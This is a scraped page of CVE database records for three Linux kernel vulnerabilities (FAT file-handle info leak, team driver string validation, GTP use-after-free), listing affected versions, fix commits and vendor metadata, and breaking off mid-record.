Linux	Linux	Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < 9840d1897e28f8733cc1e38f97e044f987dc0a63 (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < f52d7663a10a1266a2d3871a6dd8fd111edc549f (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < a276c595c3a629170b0f052a3724f755d7c6adc6 (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < b7fb63e807c6dadf7ecc1d43448c4f1711d7eeee (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < c8cc05de8e6b5612b6e9f92c385c1a064b0db375 (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < 03a7e3f2ba3ca25f1da1d3898709a08db14c1abb (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < 74f852654b8b7866f15323685f1e178d3386c688 (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < cdd33d54e789d229d6d5007cbf3f53965ca1a5c6 (git) Affected: ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2 , < fde2497d2bc3a063d8af88b258dbadc86bd7b57c (git)
Linux	Linux	Affected: 3.10 Unaffected: 0 , < 3.10 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.673Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9840d1897e28f8733cc1e38f97e044f987dc0a63"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f52d7663a10a1266a2d3871a6dd8fd111edc549f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a276c595c3a629170b0f052a3724f755d7c6adc6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7fb63e807c6dadf7ecc1d43448c4f1711d7eeee"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c8cc05de8e6b5612b6e9f92c385c1a064b0db375"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03a7e3f2ba3ca25f1da1d3898709a08db14c1abb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/74f852654b8b7866f15323685f1e178d3386c688"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cdd33d54e789d229d6d5007cbf3f53965ca1a5c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fde2497d2bc3a063d8af88b258dbadc86bd7b57c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26973",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:45:13.490208Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:44.022Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:57.660Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/fat/nfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "9840d1897e28f8733cc1e38f97e044f987dc0a63",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "f52d7663a10a1266a2d3871a6dd8fd111edc549f",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "a276c595c3a629170b0f052a3724f755d7c6adc6",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "b7fb63e807c6dadf7ecc1d43448c4f1711d7eeee",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "c8cc05de8e6b5612b6e9f92c385c1a064b0db375",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "03a7e3f2ba3ca25f1da1d3898709a08db14c1abb",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "74f852654b8b7866f15323685f1e178d3386c688",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "cdd33d54e789d229d6d5007cbf3f53965ca1a5c6",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            },
            {
              "lessThan": "fde2497d2bc3a063d8af88b258dbadc86bd7b57c",
              "status": "affected",
              "version": "ea3983ace6b79c96e6ab3d3837e2eaf81ab881e2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/fat/nfs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.10"
            },
            {
              "lessThan": "3.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfat: fix uninitialized field in nostale filehandles\n\nWhen fat_encode_fh_nostale() encodes file handle without a parent it\nstores only first 10 bytes of the file handle. However the length of the\nfile handle must be a multiple of 4 so the file handle is actually 12\nbytes long and the last two bytes remain uninitialized. This is not\ngreat at we potentially leak uninitialized information with the handle\nto userspace. Properly initialize the full handle length."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:57.129Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/9840d1897e28f8733cc1e38f97e044f987dc0a63"
        },
        {
          "url": "https://git.kernel.org/stable/c/f52d7663a10a1266a2d3871a6dd8fd111edc549f"
        },
        {
          "url": "https://git.kernel.org/stable/c/a276c595c3a629170b0f052a3724f755d7c6adc6"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7fb63e807c6dadf7ecc1d43448c4f1711d7eeee"
        },
        {
          "url": "https://git.kernel.org/stable/c/c8cc05de8e6b5612b6e9f92c385c1a064b0db375"
        },
        {
          "url": "https://git.kernel.org/stable/c/03a7e3f2ba3ca25f1da1d3898709a08db14c1abb"
        },
        {
          "url": "https://git.kernel.org/stable/c/74f852654b8b7866f15323685f1e178d3386c688"
        },
        {
          "url": "https://git.kernel.org/stable/c/cdd33d54e789d229d6d5007cbf3f53965ca1a5c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/fde2497d2bc3a063d8af88b258dbadc86bd7b57c"
        }
      ],
      "title": "fat: fix uninitialized field in nostale filehandles",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26973",
    "datePublished": "2024-05-01T05:20:09.420Z",
    "dateReserved": "2024-02-19T14:20:24.203Z",
    "dateUpdated": "2026-05-12T11:50:57.660Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21787 (GCVE-0-2025-21787)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:18 – Updated: 2026-05-12 12:03

Title

team: better TEAM_OPTION_TYPE_STRING validation

Summary

In the Linux kernel, the following vulnerability has been resolved: team: better TEAM_OPTION_TYPE_STRING validation syzbot reported following splat [1] Make sure user-provided data contains one nul byte. [1] BUG: KMSAN: uninit-value in string_nocheck lib/vsprintf.c:633 [inline] BUG: KMSAN: uninit-value in string+0x3ec/0x5f0 lib/vsprintf.c:714 string_nocheck lib/vsprintf.c:633 [inline] string+0x3ec/0x5f0 lib/vsprintf.c:714 vsnprintf+0xa5d/0x1960 lib/vsprintf.c:2843 __request_module+0x252/0x9f0 kernel/module/kmod.c:149 team_mode_get drivers/net/team/team_core.c:480 [inline] team_change_mode drivers/net/team/team_core.c:607 [inline] team_mode_option_set+0x437/0x970 drivers/net/team/team_core.c:1401 team_option_set drivers/net/team/team_core.c:375 [inline] team_nl_options_set_doit+0x1339/0x1f90 drivers/net/team/team_core.c:2662 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0x1214/0x12c0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2543 genl_rcv+0x40/0x60 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline] netlink_unicast+0xf52/0x1260 net/netlink/af_netlink.c:1348 netlink_sendmsg+0x10da/0x11e0 net/netlink/af_netlink.c:1892 sock_sendmsg_nosec net/socket.c:718 [inline] __sock_sendmsg+0x30f/0x380 net/socket.c:733 ____sys_sendmsg+0x877/0xb60 net/socket.c:2573 ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2627 __sys_sendmsg net/socket.c:2659 [inline] __do_sys_sendmsg net/socket.c:2664 [inline] __se_sys_sendmsg net/socket.c:2662 [inline] __x64_sys_sendmsg+0x212/0x3c0 net/socket.c:2662 x64_sys_call+0x2ed6/0x3c30 arch/x86/include/generated/asm/syscalls_64.h:47 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/7c30483d0f6bdb223…
https://git.kernel.org/stable/c/7f5af50f3aa0af8cb…
https://git.kernel.org/stable/c/f443687ad20c70320…
https://git.kernel.org/stable/c/4512482e4805dd30b…
https://git.kernel.org/stable/c/d071a91fa614ecdf7…
https://git.kernel.org/stable/c/4236bf4716589558c…
https://git.kernel.org/stable/c/8401cade191828117…
https://git.kernel.org/stable/c/5bef3ac184b5626ea…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 7c30483d0f6bdb2230e10e3e4be5167927eac7a0 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 7f5af50f3aa0af8cbef9fb76fffeed69e8143f59 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < f443687ad20c70320d1248f35f57bf46cac8df0a (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 4512482e4805dd30bc77dec511f2a2edba5cb868 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < d071a91fa614ecdf760c29f61f6a7bfb7df796d6 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 4236bf4716589558cc0f3c3612642b2c2141b04e (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 8401cade1918281177974b32c925afdce750d292 (git) Affected: 3d249d4ca7d0ed6629a135ea1ea21c72286c0d80 , < 5bef3ac184b5626ea62385d6b82a1992b89d7940 (git)
Linux	Linux	Affected: 3.3 Unaffected: 0 , < 3.3 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.79 , ≤ 6.6.* (semver) Unaffected: 6.12.16 , ≤ 6.12.* (semver) Unaffected: 6.13.4 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:59:31.846Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:53.561Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/team/team_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "7c30483d0f6bdb2230e10e3e4be5167927eac7a0",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "7f5af50f3aa0af8cbef9fb76fffeed69e8143f59",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "f443687ad20c70320d1248f35f57bf46cac8df0a",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "4512482e4805dd30bc77dec511f2a2edba5cb868",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "d071a91fa614ecdf760c29f61f6a7bfb7df796d6",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "4236bf4716589558cc0f3c3612642b2c2141b04e",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "8401cade1918281177974b32c925afdce750d292",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            },
            {
              "lessThan": "5bef3ac184b5626ea62385d6b82a1992b89d7940",
              "status": "affected",
              "version": "3d249d4ca7d0ed6629a135ea1ea21c72286c0d80",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/team/team_core.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.3"
            },
            {
              "lessThan": "3.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.16",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.79",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.16",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.4",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nteam: better TEAM_OPTION_TYPE_STRING validation\n\nsyzbot reported following splat [1]\n\nMake sure user-provided data contains one nul byte.\n\n[1]\n BUG: KMSAN: uninit-value in string_nocheck lib/vsprintf.c:633 [inline]\n BUG: KMSAN: uninit-value in string+0x3ec/0x5f0 lib/vsprintf.c:714\n  string_nocheck lib/vsprintf.c:633 [inline]\n  string+0x3ec/0x5f0 lib/vsprintf.c:714\n  vsnprintf+0xa5d/0x1960 lib/vsprintf.c:2843\n  __request_module+0x252/0x9f0 kernel/module/kmod.c:149\n  team_mode_get drivers/net/team/team_core.c:480 [inline]\n  team_change_mode drivers/net/team/team_core.c:607 [inline]\n  team_mode_option_set+0x437/0x970 drivers/net/team/team_core.c:1401\n  team_option_set drivers/net/team/team_core.c:375 [inline]\n  team_nl_options_set_doit+0x1339/0x1f90 drivers/net/team/team_core.c:2662\n  genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline]\n  genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]\n  genl_rcv_msg+0x1214/0x12c0 net/netlink/genetlink.c:1210\n  netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2543\n  genl_rcv+0x40/0x60 net/netlink/genetlink.c:1219\n  netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline]\n  netlink_unicast+0xf52/0x1260 net/netlink/af_netlink.c:1348\n  netlink_sendmsg+0x10da/0x11e0 net/netlink/af_netlink.c:1892\n  sock_sendmsg_nosec net/socket.c:718 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:733\n  ____sys_sendmsg+0x877/0xb60 net/socket.c:2573\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2627\n  __sys_sendmsg net/socket.c:2659 [inline]\n  __do_sys_sendmsg net/socket.c:2664 [inline]\n  __se_sys_sendmsg net/socket.c:2662 [inline]\n  __x64_sys_sendmsg+0x212/0x3c0 net/socket.c:2662\n  x64_sys_call+0x2ed6/0x3c30 arch/x86/include/generated/asm/syscalls_64.h:47\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xcd/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:06:29.534Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/7c30483d0f6bdb2230e10e3e4be5167927eac7a0"
        },
        {
          "url": "https://git.kernel.org/stable/c/7f5af50f3aa0af8cbef9fb76fffeed69e8143f59"
        },
        {
          "url": "https://git.kernel.org/stable/c/f443687ad20c70320d1248f35f57bf46cac8df0a"
        },
        {
          "url": "https://git.kernel.org/stable/c/4512482e4805dd30bc77dec511f2a2edba5cb868"
        },
        {
          "url": "https://git.kernel.org/stable/c/d071a91fa614ecdf760c29f61f6a7bfb7df796d6"
        },
        {
          "url": "https://git.kernel.org/stable/c/4236bf4716589558cc0f3c3612642b2c2141b04e"
        },
        {
          "url": "https://git.kernel.org/stable/c/8401cade1918281177974b32c925afdce750d292"
        },
        {
          "url": "https://git.kernel.org/stable/c/5bef3ac184b5626ea62385d6b82a1992b89d7940"
        }
      ],
      "title": "team: better TEAM_OPTION_TYPE_STRING validation",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21787",
    "datePublished": "2025-02-27T02:18:26.875Z",
    "dateReserved": "2024-12-29T08:45:45.766Z",
    "dateUpdated": "2026-05-12T12:03:53.561Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27396 (GCVE-0-2024-27396)

Vulnerability from cvelistv5 – Published: 2024-05-09 16:37 – Updated: 2026-05-12 11:51

Title

net: gtp: Fix Use-After-Free in gtp_dellink

Summary

In the Linux kernel, the following vulnerability has been resolved: net: gtp: Fix Use-After-Free in gtp_dellink Since call_rcu, which is called in the hlist_for_each_entry_rcu traversal of gtp_dellink, is not part of the RCU read critical section, it is possible that the RCU grace period will pass during the traversal and the key will be free. To prevent this, it should be changed to hlist_for_each_entry_safe.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/07b20d0a3dc13fb1a…
https://git.kernel.org/stable/c/718df1bc226c383dd…
https://git.kernel.org/stable/c/0caff3e6390f84066…
https://git.kernel.org/stable/c/2e74b3fd6bf542349…
https://git.kernel.org/stable/c/25a1c2d4b1fcf9383…
https://git.kernel.org/stable/c/2aacd4de454775829…
https://git.kernel.org/stable/c/cd957d1716ec979d8…
https://git.kernel.org/stable/c/f2a904107ee2b647b…

Impacted products

2 products

Vendor	Product	Version
